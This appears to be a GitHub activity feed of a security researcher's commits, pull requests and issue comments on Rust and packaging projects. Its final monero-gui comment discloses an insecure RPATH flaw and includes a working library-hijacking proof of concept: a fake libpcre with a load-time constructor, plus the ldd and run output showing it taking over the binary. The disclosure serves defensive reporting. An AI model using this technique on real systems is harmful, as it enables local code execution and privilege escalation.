profile
viewpoint
kpcyrd Hamburg, Germany Independent security research. Maintains packages in Arch Linux, Debian, Alpine and OpenBSD.

Findomain/Findomain 1578

The fastest and cross-platform subdomain enumerator, do not waste your time.

kpcyrd/acme-redirect 21

Tiny http daemon that answers acme challenges and redirects everything else to https

anthraxx/usbctl 14

Linux-hardened deny_new_usb control

bestouff/pktparse-rs 13

Parse various network packets using nom

kpcyrd/a2p 8

fancy html5 file upload, webrtc seeding swarm, auto torrent and scp interface

kpcyrd/46snihdnat 4

4 to 6 server name indication hybrid destination network address translation

kpcyrd/acme-micro 4

Rust library for requesting certificates from an ACME provider

enpaco/spec 3

spec for encrypted pastes in ipfs

kpcyrd/annex-accumulate 2

Super folder for git-annex drives

kpcyrd/archlinux-wishlist 2

Packages I'd like to have in archlinux

push eventkpcyrd/rebuilderd

kpcyrd

commit sha be5f5c81dad38b7fc75e69e7fa84173009b39cb8

Fix integration test issue

view details

kpcyrd

commit sha 8bd944751f67a754285b6d5145227f548a6bbba1

Remove usage of Rc in sync scheduler

view details

kpcyrd

commit sha a08e5a4fa8a5f38254db76405990c5a10be26893

Set max rebuild timeout of 24h

view details

push time in 9 hours

push eventkpcyrd/rebuilderd

kpcyrd

commit sha 9a3591306f83d8487f3f3743ddf7e4589b2ddb2f

Bump busy_timeout

view details

push time in 10 hours

issue commentdiesel-rs/diesel

r2d2 doesn't work well with diesel sqlite - register_diesel_sql_functions probably locks database

After some more debugging, rusqlite automatically sets a busy handler for 5s. I've prepared a patch to do the same and it fixes the example above. Would you be interested in a patch like that?

kpcyrd

comment created time in 10 hours

PR opened kpcyrd/rebuilderd

Reschedule fixes
+1240 -623

0 comment

30 changed files

pr created time in 10 hours

push eventkpcyrd/rebuilderd

kpcyrd

commit sha e02edfcece4349f26f595c6331f666438d689862

Bump dependencies

view details

kpcyrd

commit sha d5b091c2160f8ca06dba47656610c0bfc8764f24

Bump busy_timeout

view details

push time in 10 hours

issue openedTorxed/archinstall

Selecting profiles require a least one profile to be given as an option

image

I got this error after following the install instructions from the readme:

pip install archinstall
python -m archinstall guided

I also accidentally booted into BIOS mode, but retrying in EFI gives me the same error.

created time in 11 hours

startedTorxed/archinstall

started time in 12 hours

issue commentdiesel-rs/diesel

r2d2 doesn't work well with diesel sqlite - register_diesel_sql_functions probably locks database

I've created a repository that can be used to reproduce this, it's creating a database, spawns 25 threads that increment one field 100 times each and then verifies the field has the expected value. The sql executed is exactly the same, but diesel returns errors for some function calls while rusqlite does not. Removing the PRAGMAs causes both tests to fail.

kpcyrd

comment created time in 13 hours

create barnchkpcyrd/rust-diesel-bug-2365

branch : master

created branch time in 14 hours

created repositorykpcyrd/rust-diesel-bug-2365

created time in 14 hours

push eventkpcyrd/sloppy-rfc4880

kpcyrd

commit sha 3ae550c4b3d94e6d9fb415aa1c0e0568a0067a4d

Update dependencies

view details

kpcyrd

commit sha f971b141175e383de5a2c59fb6e3c01f90b00270

Release v0.2.0

view details

push time in 14 hours

created tagkpcyrd/sloppy-rfc4880

tagv0.2.0

Pure rust parser for RFC-4880 (OpenPGP Message Format)

created time in 14 hours

pull request commentsodiumoxide/sodiumoxide

Add github actions

Continuing this in #441

kpcyrd

comment created time in 3 days

PR opened sodiumoxide/sodiumoxide

Attempt to fix bors

See the comment in the workflow. Other rust repos don't seem to have a bors.toml at all, if this setup works we could consider dropping it as well.

+31 -7

0 comment

2 changed files

pr created time in 3 days

create barnchsodiumoxide/sodiumoxide

branch : fix-bors

created branch time in 3 days

startedredirect2me/which-dns

started time in 4 days

push eventsodiumoxide/sodiumoxide

kpcyrd

commit sha 3e031cd51bf9b4a56ed8d9ef2d3d5df5b2b1ecce

Show a more helpful error message if pkg-config failed to execute

view details

push time in 5 days

PR opened sodiumoxide/sodiumoxide

Show a more helpful error message if pkg-config failed to execute

Before

error: failed to run custom build command for `libsodium-sys v0.2.6 (/sodiumoxide/libsodium-sys)`

Caused by:
  process didn't exit successfully: `/sodiumoxide/target/debug/build/libsodium-sys-e518d918bc369c57/build-script-build` (exit code: 101)
--- stdout
cargo:rerun-if-env-changed=SODIUM_LIB_DIR
cargo:rerun-if-env-changed=SODIUM_SHARED
cargo:rerun-if-env-changed=SODIUM_USE_PKG_CONFIG
cargo:rerun-if-env-changed=SODIUM_DISABLE_PIE
cargo:rerun-if-env-changed=LIBSODIUM_NO_PKG_CONFIG
cargo:rerun-if-env-changed=PKG_CONFIG
cargo:rerun-if-env-changed=LIBSODIUM_STATIC
cargo:rerun-if-env-changed=LIBSODIUM_DYNAMIC
cargo:rerun-if-env-changed=PKG_CONFIG_ALL_STATIC
cargo:rerun-if-env-changed=PKG_CONFIG_ALL_DYNAMIC
cargo:rerun-if-env-changed=PKG_CONFIG_PATH_x86_64-unknown-linux-gnu
cargo:rerun-if-env-changed=PKG_CONFIG_PATH_x86_64_unknown_linux_gnu
cargo:rerun-if-env-changed=HOST_PKG_CONFIG_PATH
cargo:rerun-if-env-changed=PKG_CONFIG_PATH
cargo:rerun-if-env-changed=PKG_CONFIG_LIBDIR_x86_64-unknown-linux-gnu
cargo:rerun-if-env-changed=PKG_CONFIG_LIBDIR_x86_64_unknown_linux_gnu
cargo:rerun-if-env-changed=HOST_PKG_CONFIG_LIBDIR
cargo:rerun-if-env-changed=PKG_CONFIG_LIBDIR
cargo:rerun-if-env-changed=PKG_CONFIG_SYSROOT_DIR_x86_64-unknown-linux-gnu
cargo:rerun-if-env-changed=PKG_CONFIG_SYSROOT_DIR_x86_64_unknown_linux_gnu
cargo:rerun-if-env-changed=HOST_PKG_CONFIG_SYSROOT_DIR
cargo:rerun-if-env-changed=PKG_CONFIG_SYSROOT_DIR

--- stderr
thread 'main' panicked at 'Error: Command { command: "\"pkg-config\" \"--libs\" \"--cflags\" \"libsodium\"", cause: Os { code: 2, kind: NotFound, message: "No such file or directory" } }', libsodium-sys/build.rs:115:13
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

After

error: failed to run custom build command for `libsodium-sys v0.2.6 (/sodiumoxide/libsodium-sys)`

Caused by:
  process didn't exit successfully: `/sodiumoxide/target/debug/build/libsodium-sys-e518d918bc369c57/build-script-build` (exit code: 101)
--- stdout
cargo:rerun-if-env-changed=SODIUM_LIB_DIR
cargo:rerun-if-env-changed=SODIUM_SHARED
cargo:rerun-if-env-changed=SODIUM_USE_PKG_CONFIG
cargo:rerun-if-env-changed=SODIUM_DISABLE_PIE
cargo:rerun-if-env-changed=LIBSODIUM_NO_PKG_CONFIG
cargo:rerun-if-env-changed=PKG_CONFIG
cargo:rerun-if-env-changed=LIBSODIUM_STATIC
cargo:rerun-if-env-changed=LIBSODIUM_DYNAMIC
cargo:rerun-if-env-changed=PKG_CONFIG_ALL_STATIC
cargo:rerun-if-env-changed=PKG_CONFIG_ALL_DYNAMIC
cargo:rerun-if-env-changed=PKG_CONFIG_PATH_x86_64-unknown-linux-gnu
cargo:rerun-if-env-changed=PKG_CONFIG_PATH_x86_64_unknown_linux_gnu
cargo:rerun-if-env-changed=HOST_PKG_CONFIG_PATH
cargo:rerun-if-env-changed=PKG_CONFIG_PATH
cargo:rerun-if-env-changed=PKG_CONFIG_LIBDIR_x86_64-unknown-linux-gnu
cargo:rerun-if-env-changed=PKG_CONFIG_LIBDIR_x86_64_unknown_linux_gnu
cargo:rerun-if-env-changed=HOST_PKG_CONFIG_LIBDIR
cargo:rerun-if-env-changed=PKG_CONFIG_LIBDIR
cargo:rerun-if-env-changed=PKG_CONFIG_SYSROOT_DIR_x86_64-unknown-linux-gnu
cargo:rerun-if-env-changed=PKG_CONFIG_SYSROOT_DIR_x86_64_unknown_linux_gnu
cargo:rerun-if-env-changed=HOST_PKG_CONFIG_SYSROOT_DIR
cargo:rerun-if-env-changed=PKG_CONFIG_SYSROOT_DIR

--- stderr
thread 'main' panicked at '
Failed to run pkg-config:
Command { command: "\"pkg-config\" \"--libs\" \"--cflags\" \"libsodium\"", cause: Os { code: 2, kind: NotFound, message: "No such file or directory" } }

You can try fixing this by installing pkg-config:

    # On Ubuntu
    sudo apt install pkg-config
    # On Arch Linux
    sudo pacman -S pkgconf
    # On Fedora
    sudo dnf install pkgconf-pkg-config

', libsodium-sys/build.rs:115:13
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

This is inspired by openssl-sys, which does something similar.

+14 -1

0 comment

1 changed file

pr created time in 5 days

create barnchsodiumoxide/sodiumoxide

branch : helpful-pkg-config-error

created branch time in 5 days

pull request commentsodiumoxide/sodiumoxide

Add github actions

bors is still stuck on Expected — Waiting for status to be reported at #435 and #438, I'm not sure if our bors config is matching the github actions names correctly.

kpcyrd

comment created time in 6 days

push eventcjdelisle/sodiumoxide

Сухарик

commit sha 5de23eb599f2f5072c3484427dc39b77d40cafb2

Add github actions

view details

kpcyrd

commit sha 7b93162b583858856a6db966826e19191d9537fc

actions: Checkout submodules

view details

kpcyrd

commit sha 1f07e4cba41955f137f0a64513968ad01aa63135

actions: Disable fail-fast

view details

kpcyrd

commit sha 8e52bb16f161d2654eabaf168f5d7a22022e8d22

actions: Add windows

view details

kpcyrd

commit sha e417a55c1e588567e13ad0cffc9b132785dd1e40

actions: Integrate with bors

view details

Dylan DPC

commit sha 321e51b8283d66c97e7b394d92d1c4532260057d

Merge pull request #439 from sodiumoxide/actions Add github actions

view details

kpcyrd

commit sha 06c282631ccba5468f4f5cc5ab94a090c02405c6

Merge branch 'master' into walkdir-copy

view details

push time in 6 days

pull request commentsodiumoxide/sodiumoxide

Add github actions

I think the problem are the branch protection rules that are defined on github and not part of the repo:

image

I don't have a repo with recent builds to demonstrate this unfortunately, but there should be a list of checks that are mandatory and somebody with admin access can remove travis and appveyor from there.

kpcyrd

comment created time in 6 days

pull request commentsodiumoxide/sodiumoxide

Add github actions

Appveyor is lagging behind but should finish eventually, I think I'm still not able to merge this until travis is removed though. Preferably only bors would be required.

kpcyrd

comment created time in 6 days

Pull request review commentsodiumoxide/sodiumoxide

Add github actions

+status = [+    "test (ubuntu-latest, stable)",+    "test (macos-latest, stable)",+    "test (windows-latest, stable)",+    "rustfmt",+    "clippy",+    "continuous-integration/appveyor/branch"

Done!

kpcyrd

comment created time in 6 days

PullRequestReviewEvent

push eventsodiumoxide/sodiumoxide

kpcyrd

commit sha e417a55c1e588567e13ad0cffc9b132785dd1e40

actions: Integrate with bors

view details

push time in 6 days

push eventsodiumoxide/sodiumoxide

kpcyrd

commit sha 809090f9b8ed2f5d3ef4b04c489ae3a20b25e5d9

actions: Integrate with bors

view details

kpcyrd

commit sha 392354edb62b530e9e572f78601ecf36ae336263

bors: Replace appveyor with github actions

view details

push time in 6 days

push eventsodiumoxide/sodiumoxide

kpcyrd

commit sha 12bad524f2493707b80ad8d88b7481eb3f09de6a

actions: integrate with bors

view details

push time in 6 days

push eventsodiumoxide/sodiumoxide

kpcyrd

commit sha 8e52bb16f161d2654eabaf168f5d7a22022e8d22

actions: Add windows

view details

push time in 6 days

pull request commentsodiumoxide/sodiumoxide

Add github actions

I've resubmitted this PR with some minor fixes in #439 and the actions are running there, but it seems we are unable to merge this until either travis is working again or the "Required" tag is removed.

suhr

comment created time in 6 days

push eventsodiumoxide/sodiumoxide

kpcyrd

commit sha 7b93162b583858856a6db966826e19191d9537fc

actions: Checkout submodules

view details

kpcyrd

commit sha 1f07e4cba41955f137f0a64513968ad01aa63135

actions: Disable fail-fast

view details

push time in 6 days

PR opened sodiumoxide/sodiumoxide

Add github actions

This contains the work of #436 with minor fixes. Moving this into a PR from a local branch causes the github actions to execute even though this isn't merged yet.

+66 -0

0 comment

1 changed file

pr created time in 6 days

push eventsodiumoxide/sodiumoxide

Сухарик

commit sha 5de23eb599f2f5072c3484427dc39b77d40cafb2

Add github actions

view details

kpcyrd

commit sha 80a3501bcf701fd52be5be78599a92959bdcd7df

actions: Checkout submodules

view details

push time in 6 days

pull request commentsodiumoxide/sodiumoxide

Add github actions

github actions are already active, they are going to execute after they are merged. I've pushed a branch to trigger an execution and the results can be found here: https://github.com/sodiumoxide/sodiumoxide/actions/runs/325103665

Right now it's failing with:

  --- stderr
  thread 'main' panicked at 'Failed to find configure script! Did you clone the submodule at `libsodium-sys/libsodium`?: Os { code: 2, kind: NotFound, message: "No such file or directory" }', libsodium-sys/build.rs:219:89
  note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
warning: build failed, waiting for other jobs to finish...
error: build failed
suhr

comment created time in 6 days

create barnchsodiumoxide/sodiumoxide

branch : actions

created branch time in 6 days

push eventkpcyrd/dfrs

kpcyrd

commit sha 2ce5a814188a45242406430aedb447a91f84d2dc

Readme: update install instructions

view details

push time in 6 days

startedsaaramar/str_repeat_exploit

started time in 8 days

pull request commentjoylabs/doh-dns

make the client customizable

Any chance to get 4d66fb58b67f76f1d67f17a45a8314852d54e4b8 cherry-picked into a patch release? That would allow using the crate on stable rust. Thanks!

balboah

comment created time in 9 days

PullRequestReviewEvent

Pull request review commentsodiumoxide/sodiumoxide

Use walkdir based copy + don't copy .git, fix "Permission denied" build errors

 fn build_libsodium() {     fs::create_dir_all(&source_dir).unwrap();      // Copy sources into build directory-    let cp_status = if target.contains("msvc") {-        Command::new("xcopy")-            .arg("libsodium")-            .arg(&source_dir)-            .args(&["/s", "/e", "/i", "/q", "/y"])-            .status()-    } else {-        Command::new("cp")-            .arg("-r")-            .arg("libsodium/.")-            .arg(&source_dir)-            .status()-    };--    match cp_status {-        Ok(status) if status.success() => (),-        Ok(status) => {-            panic!("Failed to copy sources into build directory: {}", status);+    // Skip .git because it's marked read-only and that causes problems re-building+    for entry in walkdir::WalkDir::new("libsodium")+        .into_iter()+        .filter_entry(|e| e.file_name() == OsStr::new(".git"))+        .filter_map(Result::ok)+    {+        let outpath = out_dir.join("source").join(entry.path());+        //println!("{:?}", &outpath);

This should be deleted.

cjdelisle

comment created time in 11 days

Pull request review commentsodiumoxide/sodiumoxide

Use walkdir based copy + don't copy .git, fix "Permission denied" build errors

 fn build_libsodium() {     fs::create_dir_all(&source_dir).unwrap();      // Copy sources into build directory-    let cp_status = if target.contains("msvc") {-        Command::new("xcopy")-            .arg("libsodium")-            .arg(&source_dir)-            .args(&["/s", "/e", "/i", "/q", "/y"])-            .status()-    } else {-        Command::new("cp")-            .arg("-r")-            .arg("libsodium/.")-            .arg(&source_dir)-            .status()-    };--    match cp_status {-        Ok(status) if status.success() => (),-        Ok(status) => {-            panic!("Failed to copy sources into build directory: {}", status);+    // Skip .git because it's marked read-only and that causes problems re-building+    for entry in walkdir::WalkDir::new("libsodium")+        .into_iter()+        .filter_entry(|e| e.file_name() == OsStr::new(".git"))
        .filter_entry(|e| e.file_name() != OsStr::new(".git"))

This needs to be flipped. To reproduce the error try to delete target/ and rebuild.

cjdelisle

comment created time in 11 days

PullRequestReviewEvent
PullRequestReviewEvent

issue commentsignalapp/Signal-iOS

Cursor and text field unable to move.

I have the same problem, composing long messages on signal iOS is really painful. I've started composing/editing long messages in the notes app and then paste them over to signal, although I think this workaround leaks the message content into icloud.

XxBlackHatxX

comment created time in 11 days

issue commenttracelabs/tlosint-live

[Packaging] sn0int

@xFreed0m as far as I know this ticket was about packaging for kali linux (unfortunately with no progress yet since I started taking a break from open source and the debian-rust situation is complicated), the sn0int binary is currently provided like this: https://github.com/tracelabs/tlosint-live/blob/b2fba6fb4c95d24f0c328b63120d6bfcc4c49008/kali-config/common/hooks/normal/osint-packages.chroot#L85-L90

Note that this can be simplified to:

cargo install sn0int
mv /root/.cargo/bin/sn0int /usr/bin

This allows you to drop the wrapper script in kali-config/common/includes.chroot/usr/bin/sn0int.

5nacks

comment created time in 11 days

push eventkpcyrd/dfrs

kpcyrd

commit sha d1a1a24c872d97cf21cf57576e568621c3096913

Show filesystems with zero size as empty instead of full

view details

anthraxx

commit sha 3f12769c42442e0de67113b90c6ea2364d49dd5e

make: depend on dfrs for completion and install targets

view details

anthraxx

commit sha 983d63d86ca6709f0c6a84fa98f18372896ad217

make: add lint target that runs clippy

view details

anthraxx

commit sha da25059e5ed499a216ef660103c05ddeec21541e

chore: make clippy happy as a hippo

view details

anthraxx

commit sha 5f7636958b04e6a4148ada4912156ef622d205da

make: adding cargo check to lint target

view details

anthraxx

commit sha 08144dec23a8326bc4308d3b7616ad238bd84fe6

theme: display filesystems without capacity using a custom color

view details

anthraxx

commit sha c134cf7b2085e08a85197ddddcc32a7a95dcbf41

theme: show hyphens in used percentage for zero capacity filesystems

view details

anthraxx

commit sha f825165e3b8cc1bd0f67292b4e624f916feee734

mount: separate and store numeric and formatted values

view details

anthraxx

commit sha e5549c82e02fc8411b1cf9510324ebcdea6b9cd3

theme: omit unit postfix for zero values

view details

anthraxx

commit sha 65dd8c6929a11fbb7650cd77cd5f88b07e90dd16

feature: sort output by non zero capacity and mount points

view details

kpcyrd

commit sha 366f8564716532dc06f7da6e9dadba612568f48e

arch: fix 32 bit targets

view details

anthraxx

commit sha 0de0193edfaf2880eee6ba03b9ee0b4219bc215d

cargo: relax version pinning and update lock file We do not want to hard pin on patch level in the toml, instead we use relaxed version schema and just update the lock file regularly and the toml on non patch level releases.

view details

anthraxx

commit sha 26fb1dbc8875b432a6ac8d0fa454bbc1cb7c3675

version: release 0.0.4

view details

anthraxx

commit sha c832ce51118f353e2e63d7c35cf3f89b8de5b90e

make: add release target for convenience

view details

Sven-Hendrik Haase

commit sha 5c98a6bfa2354fc192244ff1d3d0c9babbb6093b

cargo: activate lto for release profile

view details

Sven-Hendrik Haase

commit sha 5d73208db6cd294d1d8bdc6b8754448d7482667d

cargo: remove dep on libc as it wasn't getting used

view details

Sven-Hendrik Haase

commit sha 8c792beeba9a48f5dd26bb855d252477b32fcb46

make: add cargo fmt to lint target This will error in case cargo fmt would change code.

view details

Sven-Hendrik Haase

commit sha b1ae648f5123d01c0d8abf8b2155bcec6e64de54

make: stop hiding clippy clints When running cargo check first and then cargo clippy, cargo clippy won't do anything at all because it won't detect any changed files and won't run. The find is a workable stopgap solution until this gets fixed in some way in clippy upstream.

view details

Sven-Hendrik Haase

commit sha d2eaacac8ad56ed626858308d3682ad536f9e378

clippy: put clippy lint definitions into main.rs This ensures that whether users run make lint or straight cargo clippy, it'll always run the same set of lints.

view details

anthraxx

commit sha ad62c7df96a442c42ada9797a8b1b7d8944ef981

fix: show zfs storage filesystem in minimal display mode

view details

push time in 12 days

PR opened anthraxx/dfrs

Add tests and readme
+427 -93

0 comment

9 changed files

pr created time in 12 days

create barnchkpcyrd/dfrs

branch : tests

created branch time in 12 days

pull request commentRustSec/advisory-db

dirs and directories crates are unmaintained

I'm really confused about the dirs situation, I remember when dirs-next was created because upstream was unresponsive, projects started depending on dirs-next instead, afterwards dirs became active again and released a 3.0.0, then archived the repo again(?). We're currently patching dirs-next dependencies back to dirs in debian because we don't know which one to track.

melocene

comment created time in 13 days

issue commentjvoisin/snuffleupagus

About readonly exec

snuffleupagus uses access(2) to check if the file is writable, like this:

https://github.com/jvoisin/snuffleupagus/blob/a59c3622848840f55a22ed91bf782775f43a40a1/src/sp_execute.c#L14

We can replicate the behavior with this one-liner:

touch asdf; python -c 'import os;print(os.access("asdf", os.W_OK))'; chmod -v 0 asdf; python -c 'import os;print(os.access("asdf", os.W_OK))'

upload a PHP file and make it readonly with chmod easily

Yes, if you already have RCE on the server in the first place. I think it's important to be aware of the context this feature is described in the documentation:

If an attacker manages to upload an arbitrary file or to modify an existing one, odds are that (thanks to the default umask) this file is writable by the PHP process.

Snuffleupagus can prevent the execution of this kind of file. A good practice would be to use a different user to run PHP than for administrating the website, and using this feature to lock this up.

I think this feature is meant for shared-hosting tier providers, if you're trying to build something more sandbox like I would recommend enforcing this externally, for example by making the whole webroot read-only for www-data and rejecting requests to php files in directories php is allowed to write to.

cypherbits

comment created time in 15 days

issue commentselfhostedshow/halcyon

Extract Home Assistant API code to its own published crate

I've checked and they don't seem concerned, what are your crates.io usernames?

kylepotts

comment created time in 15 days

pull request commentrust-lang/libc

Generate linux syscall constants

In case this is getting revived, the script I'm using to generate the syscall list for the syscallz crate is located here: https://github.com/kpcyrd/syscallz-rs/blob/main/gen.py

This is lightly tested on the major debian architectures: https://buildd.debian.org/status/package.php?p=rust-syscallz

mahkoh

comment created time in 15 days

issue commentselfhostedshow/halcyon

Extract Home Assistant API code to its own published crate

I've pinged them on twitter, in the meantime I can already add you as owner, I'd just prefer to have somebody from homeassistant as a co-owner before I remove myself from the namespace.

kylepotts

comment created time in 15 days

issue commentselfhostedshow/halcyon

Extract Home Assistant API code to its own published crate

If possible I'd prefer transferring the crates.io namespace to somebody involved with the home-assistant org who would then add you as additional owners. That way home-assistant is able to add new maintainers if the crate stales for whatever reason. :)

kylepotts

comment created time in 15 days

issue commentselfhostedshow/halcyon

Extract Home Assistant API code to its own published crate

I don't see myself maintaining my old crate in the future, but I would be fine with adding new maintainers to the repo and have the codebase replaced. :)

kylepotts

comment created time in 16 days

issue closedmonero-project/monero-gui

fatal error: QrCode.hpp: No such file or directory

My build of the latest release failed with an error related to QrCode.hpp:

make: *** No rule to make target 'src/QR-Code-generator/BitBuffer.cpp', needed by 'BitBuffer.o'.  Stop.
make: *** Waiting for unfinished jobs....
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_sv.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_sv.qm'...
    Generated 559 translation(s) (559 finished and 0 unfinished)
    Ignored 108 untranslated source text(s)
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_uk.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_uk.qm'...
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_tr.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_tr.qm'...
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_vi.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_vi.qm'...
    Generated 0 translation(s) (0 finished and 0 unfinished)
    Ignored 697 untranslated source text(s)
    Generated 539 translation(s) (539 finished and 0 unfinished)
    Ignored 132 untranslated source text(s)
    Generated 481 translation(s) (481 finished and 0 unfinished)
    Ignored 192 untranslated source text(s)
    Generated 532 translation(s) (532 finished and 0 unfinished)
    Ignored 140 untranslated source text(s)
    Generated 515 translation(s) (515 finished and 0 unfinished)
    Ignored 150 untranslated source text(s)
    Generated 588 translation(s) (588 finished and 0 unfinished)
    Ignored 95 untranslated source text(s)
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_zh-tw.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_zh-tw.qm'...
    Generated 545 translation(s) (545 finished and 0 unfinished)
    Ignored 131 untranslated source text(s)
../src/libwalletqt/QRCodeImageProvider.cpp:29:10: fatal error: QrCode.hpp: No such file or directory
   29 | #include "QrCode.hpp"
      |          ^~~~~~~~~~~~
compilation terminated.
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_zu.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_zu.qm'...
    Generated 578 translation(s) (578 finished and 0 unfinished)
    Ignored 105 untranslated source text(s)
    Generated 0 translation(s) (0 finished and 0 unfinished)
    Ignored 697 untranslated source text(s)
Updating '/build/monero-gui/src/monero-gui/build/translations/monero-core_zh-cn.qm'...
Removing translations equal to source text in '/build/monero-gui/src/monero-gui/build/translations/monero-core_zh-cn.qm'...
make: *** [Makefile:2200: QRCodeImageProvider.o] Error 1
    Generated 634 translation(s) (634 finished and 0 unfinished)
    Ignored 48 untranslated source text(s)

In the code base I found a reference to src/QR-Code-generator/QrCode.hpp but that file doesn't exist in the repository.

closed time in 18 days

kpcyrd

issue commentmonero-project/monero-gui

fatal error: QrCode.hpp: No such file or directory

Thanks! I've uploaded 0.17.0.1 with the patch applied, just in time for the hard fork. :)

kpcyrd

comment created time in 18 days

startedbmwiedemann/ddcpoc

started time in 18 days

PR closed python-semver/python-semver

(not semver) Support complex filters Not Semver

Implements #52.

This currently doesn't cover my usecase as I'd have to pass a custom function to pre-process non-semver complient versions.

+47 -0

2 comments

2 changed files

kpcyrd

pr closed time in 18 days

issue commentmonero-project/monero-gui

fatal error: QrCode.hpp: No such file or directory

Sorry, I didn't know there's a bugbounty (obviously, since I passed on a bounty with this report). The severity of this issue is quite low, so I don't think doing all the extra work of coordinated disclosure is reasonable, this is all unpaid volunteer work after all.

kpcyrd

comment created time in 18 days

fork kpcyrd/monero-gui

Monero: the secure, private, untraceable cryptocurrency

fork in 19 days

issue commentogham/exa

New Release? Project Dead?

We still need a new release :)

noqqe

comment created time in 19 days

issue commentmonero-project/monero-gui

fatal error: QrCode.hpp: No such file or directory

This has been assigned CVE-2020-26947.

kpcyrd

comment created time in 19 days

delete branch kpcyrd/sniffglue

delete branch : 1-thread

delete time in 19 days

push eventkpcyrd/sniffglue

kpcyrd

commit sha 3ca87df6bf92140c2c743d13a3ff46d02de8e175

Only use one thread when reading from file

view details

kpcyrd

commit sha 0a1ddb75e2118534c923a6108a94da6f23c2cd64

Switch from failure to anyhow

view details

kpcyrd

commit sha 63e0ca87f44e26ba5f15f6295c32c8738fdb9f0f

Move some tests to github actions

view details

kpcyrd

commit sha 41023f963b548ccebfae40625ad5a950eb30d253

Merge pull request #80 from kpcyrd/1-thread Default to a single thread when reading from file

view details

push time in 19 days

PR merged kpcyrd/sniffglue

Default to a single thread when reading from file
+799 -854

0 comment

11 changed files

kpcyrd

pr closed time in 19 days

PR opened kpcyrd/sniffglue

Default to a single thread when reading from file
+799 -854

0 comment

11 changed files

pr created time in 19 days

create barnchkpcyrd/sniffglue

branch : 1-thread

created branch time in 19 days

issue commentmonero-project/monero-gui

fatal error: QrCode.hpp: No such file or directory

@selsta thanks, I've updated my build to run make release instead of ./build.sh and it worked!

I think there's an issue with the new build system though, the binary got flagged in our build with:

monero-gui E: Insecure RPATH '' in file ('usr/bin/monero-wallet-gui')

There's indeed a static RPATH in the binary:

% objdump -x usr/bin/monero-wallet-gui | grep RPATH
  RPATH                /usr/lib/libSM.so:/usr/lib/libICE.so:/usr/lib/libX11.so:/usr/lib/libXext.so:

The empty string at the end is equivalent to ., which means that when resolving dynamically linked libraries it's going to favor anything in the current directory over /usr/lib.

We can confirm this with ldd:

% pwd
/home/user/test/archlinux
% ldd usr/bin/monero-wallet-gui | grep libc
	libcrypto.so.1.1 => /usr/lib/libcrypto.so.1.1 (0x000060b5b6e62000)
	libc.so.6 => /usr/lib/libc.so.6 (0x000060b5b45b3000)
	libcom_err.so.2 => /usr/lib/libcom_err.so.2 (0x000060b5b1b7a000)
% touch /home/user/test/archlinux/libc.6.so
% ldd usr/bin/monero-wallet-gui | grep libc
usr/bin/monero-wallet-gui: error while loading shared libraries: libc.so.6: file too short

Luckily this is fairly uncommonly exploited, but could be used for local privilege escalation (similar to dll hijacking on windows) if the current directory is world writable, like /tmp.

I've hacked together a working poc, although I'm not sure it's the most elegant solution. The library I use doesn't matter, the constructor is executed by the dynamic linker during early initialization before the actual main:

% ldd ../archlinux/usr/bin/monero-wallet-gui | grep libpcre   
	libpcre2-16.so.0 => /usr/lib/libpcre2-16.so.0 (0x000062750307c000)
	libpcre.so.1 => /usr/lib/libpcre.so.1 (0x0000627502a37000)
% cat exploit.rs
/* Rust doesn't directly expose __attribute__((constructor)), but this
 * is how GNU implements it.
 * Props to https://github.com/geofft/redhook */
#[link_section=".init_array"]
pub static INITIALIZE_CTOR: extern fn() = ::hax;

extern fn hax() {
    println!("pew pew!");
    std::process::exit(0);
}

// nm -gD /usr/lib/libpcre.so.1
#[no_mangle] extern fn pcre_assign_jit_stack() {}
#[no_mangle] extern fn pcre_callout() {}
#[no_mangle] extern fn pcre_compile() {}
#[no_mangle] extern fn pcre_compile2() {}
#[no_mangle] extern fn pcre_config() {}
#[no_mangle] extern fn pcre_copy_named_substring() {}
#[no_mangle] extern fn pcre_copy_substring() {}
#[no_mangle] extern fn pcre_dfa_exec() {}
#[no_mangle] extern fn pcre_exec() {}
#[no_mangle] extern fn pcre_free() {}
#[no_mangle] extern fn pcre_free_study() {}
#[no_mangle] extern fn pcre_free_substring() {}
#[no_mangle] extern fn pcre_free_substring_list() {}
#[no_mangle] extern fn pcre_fullinfo() {}
#[no_mangle] extern fn pcre_get_named_substring() {}
#[no_mangle] extern fn pcre_get_stringnumber() {}
#[no_mangle] extern fn pcre_get_stringtable_entries() {}
#[no_mangle] extern fn pcre_get_substring() {}
#[no_mangle] extern fn pcre_get_substring_list() {}
#[no_mangle] extern fn pcre_jit_exec() {}
#[no_mangle] extern fn pcre_jit_free_unused_memory() {}
#[no_mangle] extern fn pcre_jit_stack_alloc() {}
#[no_mangle] extern fn pcre_jit_stack_free() {}
#[no_mangle] extern fn pcre_maketables() {}
#[no_mangle] extern fn pcre_malloc() {}
#[no_mangle] extern fn pcre_pattern_to_host_byte_order() {}
#[no_mangle] extern fn pcre_refcount() {}
#[no_mangle] extern fn pcre_stack_free() {}
#[no_mangle] extern fn pcre_stack_guard() {}
#[no_mangle] extern fn pcre_stack_malloc() {}
#[no_mangle] extern fn pcre_study() {}
#[no_mangle] extern fn pcre_version() {}
% rustc --crate-type cdylib exploit.rs -o libpcre.so.1
% ldd ../archlinux/usr/bin/monero-wallet-gui | grep libpcre
	libpcre2-16.so.0 => /usr/lib/libpcre2-16.so.0 (0x000062214bdfd000)
	libpcre.so.1 (0x000062214b7e3000)
% ../archlinux/usr/bin/monero-wallet-gui
pew pew!
%

I assumed I followed the build instructions incorrectly, but the same issue exists in the official binary:

% objdump -x ../official/monero-gui-v0.17.0.1/monero-wallet-gui | grep RPATH
